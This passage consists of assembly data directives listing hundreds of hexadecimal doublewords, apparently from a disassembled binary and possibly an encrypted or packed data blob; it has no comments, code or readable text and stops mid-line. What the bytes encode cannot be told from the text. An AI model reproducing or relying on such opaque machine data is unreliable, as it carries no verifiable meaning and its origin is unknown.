dd 219C3D96h, 348C1469h, 1DB23537h, 9A9212E4h, 613C1E03h dd 1D87C82Bh, 0D82405CFh, 0A7120F03h, 8A752CE5h, 0D9A5497Ch dd 643F21C2h, 0E9FFB4EEh, 6384978Ah, 4B97CF71h, 9CBA2A1Bh dd 3DDD65A7h, 9CA6F81Ah, 42822697h, 3561B1B5h, 15B2E7ACh dd 0F62571E6h, 69EC3399h, 0EA3EF1F4h, 99610097h, 0D55498F0h dd 0C00EA73h, 0D54C9073h, 1C184038h, 0AC04CE70h, 7530B6C3h dd 5E263FF8h, 0AD47CB7Fh, 154CBFF0h, 8EF1FEF7h, 7F45C29h dd 0F7BB74FEh, 7DAE5009h, 29B6EC16h, 7D063BA1h, 0DBE82C5h dd 8B2B687Eh, 72602FD6h, 5CB6391Dh, 8672BAE7h, 0B8CA75A5h dd 0D4187566h, 4D17C6A9h, 7F4CE930h, 4F3AAFE3h, 24E8DB8Bh dd 3B40E7F7h, 0B4BADB2h, 0BD1E39C1h, 7321119Dh, 0AEB33BF7h dd 0EE57A6FAh, 6E0898F6h, 0FEE8F4B0h, 0C42F60C9h, 7DC4A77Eh dd 95138DC6h, 75500417h, 0ABB8CD57h, 0C438F48Bh, 57B9DFA8h dd 0C7F14CCEh, 6D99D80Ah, 6D6931B0h, 1A997CA8h, 13A2AC5Fh dd 0BFD6BC88h, 4090482Fh, 7536B099h, 70ADE3C6h, 0FAAC258Eh dd 5F77857Eh, 0FE27939Eh, 23DBBD5Eh, 0B6F5BA2Fh, 88B712DAh dd 860F2898h, 6AA13C04h dd 90507C2Fh, 90CF2A07h, 6125A805h, 808547Ah, 0CF74001Eh dd 45955EFCh, 5E518DD4h, 0AFDFC189h, 0EE28BB4Ah, 1BA9013Fh dd 0E9AFD076h, 0C1AA7EC5h, 6A7DE715h, 367AADA0h, 6C1D26DAh dd 6EC6B007h, 5A976968h, 38D254A5h, 0AC0A617h, 0FB3C82E3h dd 0A82215DAh, 5AD18AAh, 0CA0C9071h, 0BCF4DD00h, 0DCF72720h dd 0E64516Ah, 51F3B179h, 675C67AAh, 7688AF4Ah, 0F626CBD8h dd 72DE60A3h, 415260B0h, 3026278Ch, 0F0C3757h, 130372E3h dd 63ABF587h, 75461DCCh, 0F3D37DFFh, 58991E75h, 0A4119B69h dd 0DCDF750Fh, 4934B707h, 0EBD1087Dh, 44FDC46Dh, 33F3DBA2h dd 6227E4ABh, 89931407h, 9927259Ah, 8D9C8E3Ch, 0D6BBF265h dd 0FC7F5AC1h, 8259C748h, 8AE10077h, 165C09F7h, 0EB6A53F9h dd 0FB239E7Fh, 8804CE53h, 88464F28h, 86DF99FFh, 0F42A4A13h dd 5BBD7B29h, 0E2073B9Ch, 0F41B89DAh, 0FE51A9A8h, 84ECC166h dd 310A97FEh, 0BE42B1CCh, 2C9C13BCh, 0BE5D1708h, 34BDF06Dh dd 9A1E4044h, 924FD223h, 0DC4EC17Dh, 61D8A2A3h, 0F533504Ah dd 8D641A5Ah, 0DBDAFB2Dh, 0FBA9788Bh, 0DA4B0E94h, 0D2EF0906h dd 26B920B3h, 6CF6E5FBh, 0CEC1A55Bh, 62108E34h, 0DCD930h dd 2E230C6Ah, 0A4F52143h, 0BA4985F6h, 0F6029A26h, 98E39005h dd 1B4092CBh, 0CDC0F5B9h, 82932579h, 4CDEB209h, 9E7DA61h dd 6FC94254h, 9248CB98h, 0D9FC4C44h, 0CE5310A4h, 4ADEC4B7h dd 96416C1Ah, 85F17FFBh, 0BF4CB4C3h, 0CF084EEDh, 55FE90Ah dd 3D091B52h, 3E749BAAh, 541AF385h, 8DE6DA94h, 0CCB3C774h dd 9D55F70Fh, 61E28FE2h, 82BF5B02h, 0AA765C69h, 0ECF245B4h dd 22AB0895h, 0E986D816h, 94603337h, 8DF8B7F8h, 0AA53CF28h dd 0D9BF432Dh, 86FA610Bh, 329EF0C0h, 0FFE06457h, 3AFC7A00h dd 0AB729DCh, 5B2A1ACFh, 1FCA384Ch, 617F0EA4h, 35A4BA85h dd 6661A6F4h, 0A8F0F88Fh, 47BE0D9Fh, 6B031121h, 3985B46Eh dd 3DA85C7h, 3FB1988Ah, 1C4180Ch, 5E868180h, 387719D3h dd 0FD29B60Fh, 97241DBh, 58620B43h, 8E18B4D3h, 1A767F02h dd 58EB074Dh, 69FD0489h, 1FE28B0Ah, 0DB7DC6E4h, 0B46955F7h dd 7D00D94Ah, 0CA1C349Eh, 9FA2B075h, 45ADD673h, 97E313DBh dd 0E0D92743h, 0CBAE8A14h, 0CC77553Dh, 966803EDh, 8F95B2CEh dd 749A1962h, 5D9AEBC6h, 1546A6C9h, 0EEFAD543h, 1D059168h dd 0A52779A4h, 0C2F53FAAh, 7455C7E9h, 74FF5501h, 83C8AD72h dd 0EDA7ABFh, 44B61CABh, 0CD9F79BEh, 31D849D6h, 6F789207h dd 3875DB1Fh, 56C0DBE5h, 3BD422F2h, 0CD7EEBF8h, 48DCBD0Eh dd 6E2D562Eh, 5BFCF84h, 0A41839AFh, 538C00BDh, 0F1711374h dd 1E850BA7h, 870E1654h, 1F3FF57Dh, 0BD04DD18h, 0E1CFACECh dd 8A800208h, 0D3176A7Eh, 7EA8C6BCh, 0DB43AFBh, 78C0E61Dh dd 0D0C8EFA8h, 0DFC37053h, 3D3F47CBh, 72FBA02Ch, 4FEE3C0Fh dd 0B0E86BA4h, 4E645759h, 0C8F0E77h, 0A5514DD2h, 21C7399h dd 0A9BDA862h, 52A12BC8h, 1DBD88E5h, 0E2DBEDE0h, 0F60A80C6h dd 342E09C0h, 50D5F3AFh, 0EA00DBD3h, 8E692ABAh, 9B019AA8h dd 18F428CEh, 23F2E0E8h, 5AF47EAh, 0A71CEC7Ch, 94A64A04h dd 0B2A93DFh, 1A8FA0A0h, 1EC54BE2h, 7D614F87h, 0B023B813h dd 6A82F1D9h, 596FEE9Dh, 11901738h, 2872D5E1h, 0A9E89468h dd 0A765F1F9h, 0E496030Dh, 3698AAA3h, 9F3C263h, 642758FFh dd 7F4EE2B8h, 44F32A8Fh, 0E3AA7330h, 0BFDB4085h, 96A0132Ah dd 0AFDC2231h, 4B3D2FD1h, 0F8133708h, 0D73EBCFDh, 0C95523A6h dd 0C699905Eh, 0D5833A4Fh, 5761F0C8h, 0A132D376h, 5C7E86F5h dd 0AEB49F81h, 0E4EB42E9h, 2A4BFC17h, 0F60DFC74h, 8AB643DCh dd 0A21F826Bh, 0D4CC7F25h, 6F7BC890h, 2048967h, 0B02CCA41h dd 0E4F6701Fh, 91E9A3BCh, 6B309105h, 68CD31BBh, 0EF7EA868h dd 47DFF1EDh, 88503783h, 6E740843h, 6ADA8F37h, 0C1408BE2h dd 8C2FEDACh, 3A2E0E53h, 4F473283h, 2FA1D8B1h, 5A86F7E7h dd 0AA92CF05h, 0B6B8DF94h, 5B29D7EFh, 0ACC5B03Fh, 0FCF9A7FFh dd 0CA34EFFFh, 0F8993FA2h, 47B2FBD8h, 9FFD0A86h, 58007BC7h dd 0EC011EC9h, 713D0ABFh, 7A147E15h, 0E84C55D9h, 24A7B102h dd 0D5374F1h, 44FAF506h, 5E852AD4h, 8954C728h, 0EEE4C2D5h dd 0F0DA80DEh, 1EA803Dh, 93F187E7h, 20E73011h, 0A1C42D14h dd 0F4BEC795h, 5A3B418Ch, 23B31689h, 0E3243160h, 42C7D9E4h dd 9A27A7C5h, 0E23AD938h, 1D4F4289h, 50E8CC0Ah, 0F62DBB5h dd 0AE20C687h, 2B4FFD34h, 75D5FB50h, 0DD8BE817h, 24FB20AEh dd 141D6ADFh, 0CC184E19h, 0F92B9428h, 5FF7FB4Eh, 5E3FEB10h dd 769A8E97h, 0DFA34AE5h, 0C6EAF1D0h, 85E75CCAh, 0A0241DD3h dd 79BBE2D5h, 24B5B400h, 0A63F69ABh, 5B6E7D82h, 30D2C84Dh dd 53E5F619h, 70086AAEh, 0C7A9E491h, 6AAA69A1h, 2D93F7Ch dd 0B4753606h, 38A3B48Bh, 566AA07Ch, 8C9252F2h, 4793611Ch dd 4E502D65h, 0BB3AE48Dh, 0D58717Bh, 58C47651h, 666570AFh dd 0B87426Bh, 0CC0CAD8Fh, 9A55345Bh, 232BF433h, 470CD238h dd 95F0E353h, 64AA74CBh, 9B20010h, 684DA562h, 0EC2217A5h dd 54DB950Eh, 904DD5Dh, 0F3AF8DEFh, 9B0EEECh, 4D194303h dd 83AFCD0Dh, 3ABFED6Dh, 0A2E8D8C6h, 1C548B98h, 0CB281C7Bh dd 5969C340h, 7A0C9A2Ch, 1A5B0B48h, 4D8F2B2h, 0F60FB4A6h dd 40B33F4Bh, 8E1F684h, 0A84830C3h, 437F1967h, 679D6724h dd 3A5F4CF5h, 2B95E17Ah, 7D38D96Ch, 1DEBA5AFh, 0A146F2CCh dd 0C82D5B60h, 7FE5CF6Bh, 0AEAFFF29h, 9401D1C1h, 4A2CE4C6h dd 70E7327h, 0ECD7B256h, 0ADFD6446h, 95241314h, 0FC8E76B6h dd 0EF59EC38h, 6C89ADEAh, 12CDC67h, 0E2858CCBh, 9A94F4AEh dd 0AC67119Fh, 40890766h, 8B0E170Dh, 0F9012605h, 17067A79h dd 0AF376EFFh, 6E5A5284h, 0E03A5DA4h, 976D4B8Ah, 0DAED44F3h dd 941C573Bh, 0FC3A284Ch, 9700978h, 50511FA8h, 0B823B60h dd 5768D9B6h, 0A3470370h, 7810C090h, 37F7727Fh, 1681F71Dh dd 1C59AFEDh, 98119A79h, 827F3DFEh, 1AB37C90h, 27C41635h dd 72BBF18Bh, 5C748839h, 40A7A65Bh, 0F1219E54h, 0A173A60Ch dd 2AAA38D6h, 0BBC2B08Bh, 1F6A9B6Fh, 37202126h, 65E1AB4Ch dd 0D60386Bh, 270F665Bh, 6711BFEh, 85778398h, 0E1B794Dh dd 50471B3Eh, 95542D8Ch, 5B5F4AC7h, 5BBC7511h, 0E8A1232h dd 84478876h, 3BE326AFh, 0FE09CFE9h, 90B92550h, 0C1662247h dd 9FF2D1C3h, 556F6D8Fh, 0D21752DDh, 395473FCh, 122AE373h dd 0D47924D9h, 24988235h, 8C4378F7h, 4EDF6317h, 59E94E91h dd 0DC044E9Dh, 0EFC84ACFh, 0B95389D2h, 0AE84393Eh, 0A5D91518h dd 0E9C4A13Bh, 2508CED3h, 0FE7E5111h, 48EDE05Fh, 53D452BDh dd 0B2339CB9h, 0EB07EE76h, 0BED4FA75h, 0E2ED4656h, 6552D118h dd 43AF2468h, 4F1B3120h, 0A85C3235h, 0BB38FA9Ah, 8BC7EACh dd 0D9C6CCB0h, 27BA084h, 96DE1A6Fh, 76C75E96h, 16B0A645h dd 1958699h, 154B022h, 522AA947h, 0AEB2EDA9h, 6DD6F45Ch dd 0D5F1B631h, 7ACECE2Fh, 4E528AD4h, 9B5BA6C3h, 51282FBAh dd 0ED6B3FC9h, 922669B5h, 3709B6C6h, 0F6822B79h, 0AC52B934h dd 0AECD6838h, 0E53E0D18h, 4B5DE666h, 0FFA7EBBAh, 582AA0DBh dd 68308DB9h, 778D0C52h, 35D6F860h, 85C3064Eh, 84A1344Ah dd 68B146F2h, 2952BF82h, 5F3F36C5h, 0B678A6FFh, 82DA1AFAh dd 53D20A2Bh, 0F1F7A364h dd 0DB94E2AFh, 6780502h, 1219C9F0h, 0B7986D65h, 6B15AB94h dd 2FD007D9h, 0BBCC436h, 16C21A59h, 47CF1E29h, 0E7337860h dd 0D913D4D7h, 880D807Ah, 0C24AF92Dh, 2E2FB514h, 7AECCB95h dd 119AE735h, 0FF498033h, 81A9DDC3h, 533FB023h, 0D13C936Ah dd 9F611D54h, 1D5741B3h, 0B369D252h, 59655894h, 9F66BEE7h dd 0D6BDD71Ah, 1D8F5CDAh, 41B9AF92h, 899F922h, 0A0C13A7Ah dd 4BBA7E70h, 0A2B4DFCBh, 8F1D04A0h, 49FD240Ch, 0AD9C4195h dd 0BC1BA11Eh, 39512900h, 2E8EBDC0h, 22D13E07h, 7DCCA5DFh dd 2C4C168Eh, 0CE28E4Fh, 0DC05CC73h, 0A2D8C2E7h, 0F0B6A421h dd 209A0558h, 9B9DBBCFh, 3A906700h, 76123C3Eh, 8F275CAEh dd 26D4630Ch, 4D48570Ch, 0E0D62059h, 360AD011h, 0AFACE2F0h dd 95300AD9h, 8C3C43DEh, 0BB69EB3h, 5F334832h, 0C6D03E8Eh dd 863A7F6Fh, 163131B2h, 2B540A6Ah, 0A763D10Bh, 0BE514C18h dd 4B5E8FBh, 807DE082h, 499504BFh, 0C52C6657h, 0DE04D195h dd 0E3CB5F3Ah, 0F79AE875h, 0E4A6B014h, 17730CB8h, 7265089Fh dd 0C5C9B7A1h, 0DD10E897h, 0ABF0019Fh, 0BC9947EBh, 0D4CC1A72h dd 8E1B8171h, 9090602Eh, 0E0AE557Dh, 0C775AAA3h, 42A0068Ah dd 0EAE2968Dh, 0ADCB5D9h, 0C3FE68E4h, 0ABEA6E2Ah, 9C9A610Dh dd 2819F449h, 0DB6FB23Eh, 7570E2FCh, 0F6E3F8EDh, 0B2554816h dd 630EEE55h, 20DEED7Ch, 221CA01Ah, 0EA552EBBh, 79B1F0D2h dd 9E4C453Fh, 60B3765Fh, 6B8B717Ah, 2DDDD544h, 7F1E7B90h dd 90FE1D22h, 9A1B8073h, 5A940F02h, 93081E1Fh, 0A6D3B91Bh dd 0EEDD3071h, 1F3F52A7h, 24BA0B28h, 8A996ED9h, 0F489AE6Bh dd 0F7BB0666h, 444BE5E7h, 81F0B9A7h, 2D124B0Ch, 1772B9ACh dd 0E2D4918Bh, 0B2AF7548h, 0D53018EBh, 545BA311h, 0E0050DB1h dd 0AD04D462h, 0A3D77700h, 0C5EC7D20h, 0FA142387h, 0F8609CADh dd 18E0FB6Fh, 0D2C0A070h, 9E78B7D3h, 0D44FA132h, 0E370E9B2h dd 46D25A2Ah, 774CB3F5h, 0C6173CCFh, 1DD22064h, 1DDBC0AAh dd 4F7BA50Ch, 84AE5258h, 535771BBh, 0BC365AFh, 0D2CB229Fh dd 29980FCCh, 0B15C5BCh, 1F678C5Bh, 16B22A05h, 6D3275BDh dd 418E2743h, 99B75011h, 0CB488B55h, 2A4049AAh, 0C4DDE163h dd 0EA846097h, 0D5955278h, 0A77DC545h, 0A13604AFh, 3C46C38Eh dd 0A34E2B55h, 9678D1EAh, 0DAF276CDh, 836CC379h, 8286463Bh dd 692A8622h, 0B9057FA3h, 8F5FE2A6h, 4B94F1E7h, 2CA09F4Ch dd 0C0A3F2ACh, 9356AE41h, 1B5DF465h, 1113A1A9h, 0CA82E242h dd 635CC528h, 0C2B8CFC7h, 155BCDEDh, 23C8B01Dh, 5C87B020h dd 0B96888F3h, 5AEFF882h, 0FE3D12E2h, 3AFE0EBDh, 0C15F437Fh dd 7AF1AC2Ch, 8ADD19F9h, 904E085Fh, 7290236Fh, 0F3ABDB7Ah dd 0B48AD762h, 64BEAEABh, 44507D90h, 0BB4C8F73h, 67D05964h dd 0AC9C567Bh, 0F72792FCh, 113EDE1Dh, 0BC12424Ah, 9DC531FAh dd 7AC498DBh, 1FF722C4h, 69A6DC6Ah, 1E61E3A0h, 0B7680960h dd 0D4857D11h, 0A648357Eh, 3741462Dh, 642C862Fh, 2853908Ah dd 0EC2496D2h, 30126232h, 259DD27Ch, 48994FBh, 812480C5h dd 273B542Ah, 3DEEBEB1h, 0F054D61Eh, 50445DE6h, 234B168Bh dd 0B1513C54h, 0C0D285DEh, 0DA1605EEh, 0C5F348C6h, 29730E6Fh dd 7CE36BF8h, 8102BF70h, 0B454297Dh, 0BC19F0DCh, 701918CBh dd 5C8A186Bh, 3FDE1C45h, 5AB50AD7h, 63C9F12Fh, 0D2556393h dd 0CA028F17h, 0D066BD8h, 0B623CAA9h, 0AF21F6C3h, 2677E3E7h dd 0C8CB0F65h, 52F9175Fh, 9984B792h, 92472605h, 0A56995B6h dd 58E00175h, 8B87AE52h, 0C737C1A0h, 15EDC941h, 11223776h dd 0D3800028h, 0F45ADDF1h, 85FD41D7h, 904AD59Bh, 0E497ACD5h dd 163E7948h, 923103CBh, 80503475h, 866420Bh, 0CC0F8C3Dh dd 74C35CABh, 88C2AE57h, 0C1EA59CCh, 0A06F882h, 3B1B7BFDh dd 24F5268Eh, 3B731B87h, 3DF127A2h, 55A7F4C7h, 422781B9h dd 0ABE4C6D0h, 2386FC5Dh, 0FA297732h, 22BF4FD0h, 4D7D777Fh dd 6DA686F2h, 6A27CA05h, 758EB944h, 0DFE8BD44h, 0CF0F5A6Ah dd 0B4A4DE4Bh, 0ABC37EEAh, 8F9F0D8Eh, 0F671A83Fh, 32A6BD88h dd 0BCC21D3Eh, 3445A977h, 20E93C56h, 56A9DFFh, 17C60483h dd 0F60F9DFDh, 7F172E77h, 0D33ED1CFh, 0FE62D9E7h, 0B5EE1DDEh dd 0B3FE72F9h, 30D2B445h, 0C8359656h, 0A444936h, 0F837A08Dh dd 0DD5CDBC1h, 7A27E486h, 0EB5AA6A2h, 246181BEh, 0D1BCE680h dd 71DA4A35h, 0D43CB71Dh, 4E55E8DCh, 7860537Eh, 8490469Fh dd 0CAF49C7Ah, 0D812033Ah, 97A16F1Fh, 950C326Bh, 4C09774Eh dd 0DE6C1258h, 0D369FEC2h, 0E33BC77Dh, 3E7E99D0h, 0A78D0B39h dd 18974EDCh, 0F0B6B4C4h, 0F949C7F5h, 0D51F2970h, 93A56D62h dd 0CAE2EF23h, 391A3703h, 0F127F1D8h, 0F9043F59h, 6D1F6DEAh dd 0BB0BC7CEh, 95791E82h, 3A6F5C5h, 63FD189Dh, 0DFFF93B8h dd 0B4DC09C9h, 0E5141E58h, 8E59CFDDh, 0ADB2E71h, 5B3092C2h dd 6D85AFE8h, 0AE1D8E3Dh, 0AFD2751Fh, 31811245h, 473D6381h dd 6275B3F1h, 2698952Fh, 0AA4E7B80h, 2B132BC3h, 1786910Ah dd 0EDEBF81Fh, 4C37365Fh, 0DB4E0C19h, 6D829D58h, 83237E0Dh dd 0DC79B793h, 8868FBB6h, 1733B107h, 0F8C4693Eh, 4446FBC8h dd 5ADA8F83h, 0B3AFECE7h, 56629A39h, 684DBAA3h, 0D1239C2h dd 3BC13B35h, 1098840Eh, 0D5D84E2Ah, 88057F50h, 9DB0BA3Fh dd 53E08CBEh, 54C50B46h, 24F8496Ch, 9A11A65Fh, 8E5B412Dh dd 3868BABh, 0E428F37h, 3D58C93Bh, 8F178E65h, 5B1609DEh dd 0FA6DF3D1h, 32E37565h, 1B2CEE7Bh, 3B7BDC8Bh, 8C60E9CEh dd 2B25181Fh, 0C5D78B9Bh, 0A2E0F518h, 462EE59Bh, 0A3B94FC6h dd 0A6E01609h, 0BC1BB06Ch, 0F6228F45h, 6000B6Bh, 0F53D198Bh dd 94FD91F7h, 0C59ECAA8h, 0C504C3F6h, 0F312729Bh, 3520B9DCh dd 0F6B89D61h, 42D2A501h, 0DBA3F24h, 13F877B4h, 0FB23AACFh dd 8353FF7Ah, 0ACEA853Bh, 81B4ADC3h, 557031Ah, 0CDE4482Ah dd 846E847Eh, 0DFAB6D24h, 43064713h, 0E9B82D5Dh, 753252A6h dd 0F582AF81h, 8CA063E9h, 0B728C2AEh, 700C50FBh, 0F08E62FAh dd 6CF206E6h, 0B029BABDh, 5B48C0F2h, 0BCE629BCh, 0E70FC96Dh dd 9FAA247Bh, 2B26CD9Fh, 3C26DB9h, 9F62CF9Bh, 96171C49h dd 0FD817C49h, 53A5A32Bh, 3433F7F0h, 2D518BCh, 878BCEF0h dd 4B5936FBh, 9CB596h, 8191CD88h, 0BC2E5917h, 0CB69E1D2h dd 3456F78Dh, 0AEFCD107h, 0C32051F9h, 705CEAFDh, 0EA23F302h dd 78FFF3B5h, 1ED2E8CEh, 0C94976A9h, 40D75139h, 0FD895080h dd 0FFB7F5ECh, 0ECFEDF34h, 0F413B889h, 0C09259FFh, 2EF4CE02h dd 43E6B0D8h, 1E736C66h, 2BAA483Ch, 83D09CE9h, 1DEF828Ah dd 52E0196h, 8710D61h, 2BC3515Dh, 4B8C5342h, 0F7E46D2h dd 0C054E7ABh, 0D08476Dh, 0D8F31767h, 0F2E7B961h, 15303ABEh dd 0D0ED56DEh, 418CDC5Ah, 73E9E08Dh, 2D1056A8h, 0B3FF1E40h dd 0A25012D6h, 0F6CB676h, 4CCBA721h, 0E087A655h, 56F1EB3Dh dd 89AB49DCh, 7837F910h, 382EA893h, 2FD59D17h, 0C62FCACBh dd 1DED932Dh, 0FDF2FE52h, 0A6AF26E7h, 0D80FF606h, 31B69066h dd 7CDCE6C0h, 0C7B62719h, 0AF21C5B6h, 59642EDEh, 4F73D53Ah dd 5288110Bh, 0C44C90B3h, 0E9DD9172h, 399DF966h, 9ECBDC38h dd 0E6E3C936h, 0DAADE748h, 0A3056784h, 9D1FE7D2h, 0BCEE01DDh dd 84963618h, 0C217DA5Eh, 8A1D5D9Dh, 0B19D3417h, 2064715Bh dd 80BBCB3Bh, 0F3A371B2h dd 0D7725880h, 9D36F184h, 0C2E78FACh, 86AC85E8h, 57C02602h dd 9B4F11C2h, 0C56AD986h, 70F0444Ch, 0D9B099B0h, 0A8387AD7h dd 804B36A5h, 19C10859h, 0F4A0E284h, 0A2F0E4Ch, 642D88CEh dd 7C6A0B2Dh, 0B60E33E1h, 9F562F13h, 4EDF04Fh, 0C5F5D698h dd 0AA0DC1DFh, 0D2E5B3BBh, 16F70829h, 0CA816438h, 57CA7266h dd 0CCFBE314h, 1ABDB02Fh, 3EF24795h, 8F90F14Ch, 680CA205h dd 0AECFBCBDh, 45CAAA94h, 0A95C718Eh, 0C51662DDh, 0FBC8FA0Ah dd 78755EE5h, 576E5CE1h, 6B003616h, 8E25AEE7h, 1C8228ECh dd 4B860348h, 74CA1105h, 54E53A4Fh, 0CDB6CDE3h, 0DCD84EE5h dd 0AC605038h, 81ADCE5Dh, 0CE594A55h, 0DAD18692h, 578DF9FCh dd 0DEE34CFh, 0ADCAA45Fh, 0E4B18AEBh, 0A1D739B7h, 8072A463h dd 0A37FB412h, 1AEF7A44h, 93747B7Dh, 91109362h, 0C9A4B188h dd 33FC5929h, 0F2E909CEh, 17FAB940h, 0C5C201CEh, 0EC8F053Ch dd 8F1FB20Eh, 94363A04h, 8162D470h, 0F19E35C0h, 0EFE9D4C0h dd 0B53268CDh, 0A4999E1Ah, 71BF2A01h, 7895D6Bh, 0BAFCFB2Dh dd 0B72E553Fh, 89DBC830h, 197B30BBh, 83D53E0Eh, 94AEA1D9h dd 0C8ED1003h, 0A07C9C76h, 3B4F74E8h, 90DDE157h, 33646DB7h dd 93509ACBh, 649BFF3h, 806CCE98h, 9F8693B1h, 0BA3959Eh dd 4FFF05B9h, 27131528h, 0CBEFDCCFh, 8BECE949h, 40F511E2h dd 0EB0FB3BEh, 1D4C68B4h, 0F0BB9769h, 0AD5D6F2Ah, 47ADCBD2h dd 74177CB0h, 0CF8A1AB4h, 8DCA91Bh, 0BFCC9C15h, 2E3756ACh dd 7E0DD8A5h, 0E904BDB4h, 83DAFF6Ah, 88561071h, 0D49ACA3Eh dd 0D0EB94ABh, 0B3BBD952h, 53FB96D9h, 6E648207h, 1B903730h dd 0CE324A79h, 292EBDCAh, 74C4B7BAh, 6513750Fh, 0E0A13448h dd 0F014A840h, 255625D0h, 3CDEC971h, 561C1F3h, 52E1020h dd 0C8B9BC0Eh, 8AC420E9h, 499C5873h, 0C31E40AAh, 0D667FCDh dd 0C75FAD30h, 375D942Ch, 8CE6B6C9h, 2FC26BD7h, 5F70639Ah dd 562F80B0h, 3CE00AFBh, 0F571BA42h, 5CE01F1h, 11D6DBB1h dd 1021D5Dh, 71F60E21h, 0FF9E9D48h, 0E7C9FD2h, 6F5CAF7Eh dd 5C9DA918h, 0F179DAB0h, 0FE46004Ch, 0BF8093DAh, 0BBC321E8h dd 0E3AC1D05h, 0F2128742h, 535B9808h, 227CE250h, 6F9EE5C6h dd 0DB0AEBD1h, 0EED545C3h, 9A153682h, 2ED7F0CEh, 591DB678h dd 4F078F73h, 0E3D79E36h, 6B791864h, 543A1994h, 229851B8h dd 0F878311Ah, 9E1E6AA7h, 0D46F0AAAh, 4E34A289h, 3829CA19h dd 8DC6C66Bh, 0BAF6BDF4h, 0C81D18Ah, 97788FE0h, 61388325h dd 0C5B9A33Dh, 80AC0DC2h, 65073700h, 2B062F87h, 7D2C1BD9h dd 0F96FE823h, 235111E0h, 6CBF224Ah, 2EF79581h, 992627Dh dd 140CCF4Fh, 993ABD15h, 77083E68h, 921C09D5h, 6BDD7967h dd 7048E46Fh, 63C2AE3Fh, 48CCCC52h, 0AFA9BA8Dh, 0B96AFB1Fh dd 0A5309E57h, 0A7ECC50Eh, 0E72D0629h, 50CD878Dh, 0BCB98457h dd 0CD591DD0h, 0F1DC5807h, 0C07EB4DAh, 0ED5D53BCh, 0A15D1271h dd 777C6085h, 0B211E206h, 1C58F636h, 16E70EE3h, 72F1EBEFh dd 0B0EE3005h, 0C54AB568h, 86406A8Bh, 0E1C7FCE4h, 0D2EC086Dh dd 6E6E8BFh, 9FA4B1E3h, 99C2A771h, 7E086332h, 49D9855Ch dd 0DA48954Fh, 3F3A7A0Dh, 0B84ACDB3h, 300F3E75h, 54651487h dd 0C1BBCC2Ch, 355BB7C4h, 0A6148552h, 72CD9AD7h, 4D19E5A8h dd 67DEE560h, 91FADF15h, 0B50D5A54h, 476544C0h, 0B8CB2345h dd 360A91BEh, 9489E2ECh, 879DAD49h, 390CDF3h, 0B980F346h dd 95932329h, 694A56A1h, 5B4EEB94h, 0CDFDB926h, 68EF5AAAh dd 3FBFA0C1h, 0F96CF6D2h, 4669C1CBh, 4BB46A89h, 44C9A0E2h dd 5EE19680h, 9B7CE42h, 34DD63Eh, 64CB035Dh, 803C8EA5h dd 5E7B0A6Eh, 3111C53Eh, 6DCB356Ch, 0F6F60405h, 29FE4CFCh dd 0A991C44Ah, 8738D3BAh, 0F00AF412h, 0BFD546FFh, 599EA2D7h dd 4EA84856h, 7482385Ah, 285A7E6Fh, 92F69278h, 0F1F36097h dd 51A847B1h, 12959E9Ah, 17326072h, 7E2D66EBh, 6B0DE4A8h dd 2363244Fh, 0F9EEC52Ch, 46BE19C5h, 4FE4A0E6h, 0A5FDD64Fh dd 0E5870F6Ch, 2CA2E675h, 0BBCF2416h, 0D56ECB31h, 0D8316FB9h dd 790271FEh, 0EE53327Fh, 0C25C8D4Eh, 0FA2DF8B5h, 660007A8h dd 6AFE5740h, 49E65071h, 3E842123h, 8F634B13h, 4AC86FEFh dd 3334EE2Bh, 6981937Fh, 3679832Ch, 0C3281F3Ch, 246BDB6Ah dd 0BB1D4787h, 89209D7Eh, 46CCF8AAh, 3E012D2Bh, 3740606h dd 242A8CD4h, 170CAC1Bh, 1CBF747Eh, 3BCF2674h, 1DD67714h dd 0C2FB92D2h, 4EC2E9B7h, 4B5975F6h, 4374DED2h, 71729A5Fh dd 9B601BD0h, 77553642h, 9FBE56ECh, 1E6DCBF3h, 2B3D203Bh dd 4D26BF47h, 0C1630319h, 12005566h, 3559AA90h, 0B614D9Fh dd 8D6FA2F5h, 614E37DEh, 93156FC0h, 547468EFh, 8836E30Ch dd 303CCCDAh, 0F0EAE4F5h, 0BF71BF8Eh, 65D01FD6h, 32443D6Ch dd 8C26C8C9h, 29FDFFF3h, 4426A90Ah, 9CDFBE81h, 0EC216729h dd 4B0ED500h, 0FE4AAFE9h, 0ACF64F58h, 833C5D39h, 18EB68A9h dd 0F65E308h, 7B35F9A1h, 0C5247AD9h, 0F0AF00D6h, 86C3BE1Bh dd 0E2A3EEBCh, 0E6F62329h, 0DAC6628h, 94448320h, 8E3174CFh dd 60BA427Ah, 6384AFE2h, 0CADCDB14h, 231D6967h, 1A0FF903h dd 3E7F9F44h, 416B87E1h, 5A78F34Bh, 6694D244h, 91B1DBC0h dd 38B2D3E0h, 7AC9F7EBh, 5B6E4596h, 87463FAh, 31FC5E33h dd 67D0D9C3h, 0FD56C9BCh, 7BBFF951h, 0CD5671B1h, 41EDEAB2h dd 78034250h, 5E4915D7h, 52993C8Eh, 0BDFB990Bh, 0F70DF981h dd 0E6923609h, 0C4F4D3F7h, 28B07F22h, 31A12E2h, 95E342ECh dd 0A5B22B10h, 0F0442E68h, 52888A83h, 0A244C684h, 1D7B91F6h dd 6C93ADB2h, 3469D9E5h, 61B289C7h, 2AB9DED6h, 651EF1C1h dd 7F4621F1h, 2CB877F5h, 0C583C9EEh, 46A6BDF6h, 9628E19Bh dd 0FDF8AC7Ch, 87D4B1EAh, 0E6A6008Fh, 704796D3h, 2A9FE19Dh dd 0ECA59D83h, 91BC7A3Dh, 0F6F044A4h, 352F768h, 2789E256h dd 0D51208AEh, 21F291BFh, 0E72C4D4Bh, 0E6783463h, 246C37h dd 4F94B79Ah, 73AC38F9h, 430FF773h, 1392531Ah, 89088F26h dd 5F0D4EF8h, 0FE519529h, 0C38E8AF1h, 0E374DC14h, 120EDCBAh dd 0E63D6B36h, 2FD3614Eh, 0C51A918Dh, 9D226525h, 69E67CCEh dd 0CFC27ECEh, 0A95458A9h, 1FFE9939h, 8DF92E3Ah, 55C8D655h dd 44FE38F8h, 1F820D7Fh, 52357B90h, 0C272AD3Ah, 0BE4DC2BFh dd 0A9FC2ECAh, 19EA510Ah, 0A398C15Dh, 4910013Eh, 975768CAh dd 0ED09BF3Ch, 2CB51AA8h, 0FDBC7181h, 1BA095A6h, 3C81B8D2h dd 9164C937h, 0AE5063EEh, 34DED0C3h, 957C0F76h, 7AC903D5h dd 6958BEF2h, 0BE4589DEh, 805EAEE4h, 0A7D9389Fh, 0CE10913Eh dd 0DC5E3FECh, 0FBE5BFC8h, 833310F4h, 3E4150BEh, 7F9A390Bh dd 31B8BA31h, 9C6A453Ch, 